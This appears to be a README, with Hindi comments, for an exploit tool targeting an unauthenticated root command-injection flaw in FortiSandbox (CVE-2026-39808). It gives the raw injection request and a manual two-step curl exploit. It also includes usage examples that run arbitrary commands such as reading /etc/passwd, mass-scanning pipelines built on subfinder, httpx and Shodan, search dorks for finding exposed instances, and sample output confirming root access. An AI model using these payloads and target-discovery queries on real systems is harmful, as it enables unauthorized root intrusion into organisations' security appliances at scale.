GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

# जाँचें कि क्या लक्ष्य भेद्य है (कैनरी-आधारित पहचान का उपयोग करता है)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

# लक्ष्य पर एक विशिष्ट कमांड निष्पादित करें
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

# केवल जाँचें कि क्या भेद्य है, --cmd निष्पादित न करें
python3 fortisandbox_rce.py -u https://target.com --verify-only

python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

python3 fortisandbox_rce.py -u https://target.com -o report.json

# URL सूची से
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → स्कैनर
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → स्कैनर
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           लक्ष्य URL
  --stdin                 stdin से URL पढ़ें (पाइपलाइन मोड)
  --cmd CMD               निष्पादित करने के लिए OS कमांड (डिफ़ॉल्ट: id)
  --verify-only           केवल भेद्यता सत्यापित करें, --cmd निष्पादित न करें
  --proxy PROXY           HTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080)
  --timeout TIMEOUT       HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 15)
  --rate-limit RATE_LIMIT लक्ष्यों के बीच देरी ms में (डिफ़ॉल्ट: 0)
  -o, --output FILE       आउटपुट JSON रिपोर्ट फ़ाइल
  --no-banner             बैनर दबाएँ

चरण 1  →  FortiSandbox का पता लगाएँ (शीर्षक/हेडर फ़िंगरप्रिंट)
चरण 2  →  जाँचें कि क्या भेद्य एंडपॉइंट मौजूद है
चरण 3  →  कमांड इंजेक्शन के माध्यम से अद्वितीय कैनरी स्ट्रिंग इंजेक्ट करें
चरण 4  →  /ng/out.txt पढ़ें और कैनरी सत्यापित करें (सख्त सादा-पाठ सत्यापन)
चरण 5  →  उपयोगकर्ता कमांड निष्पादित करें + सफाई

  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Endpoint status: 200 | Content-Type: text/html
  ▸ Injecting canary: mitsec_a8k3m2x1
  ▸ Reading output: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)

  ──────────────────────────────────────────────────────────
    Command Output: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Output file cleaned up

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ Endpoint returned 404 — not vulnerable or patched

  ▸ Reading output: https://target.com/ng/out.txt
  ⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
  ▸ Content-Type: text/html
  ▸ This is a false positive — /ng/out.txt serves the SPA index.html
  ▸ Target does not appear vulnerable

{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

# भेद्य लक्ष्य खोजें और सहेजें
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# आगे के परीक्षण के लिए nuclei के साथ चेन करें
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# रेट सीमित करने के साथ साइलेंट मास स्कैन
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

services.http.response.html_title:"FortiSandbox"

title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

intitle:"FortiSandbox - Please login"

# चरण 1: कमांड इंजेक्ट करें
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# चरण 2: आउटपुट पढ़ें
curl -s -k "https://TARGET/ng/out.txt"
# अपेक्षित: uid=0(root) gid=0(root) groups=0(root)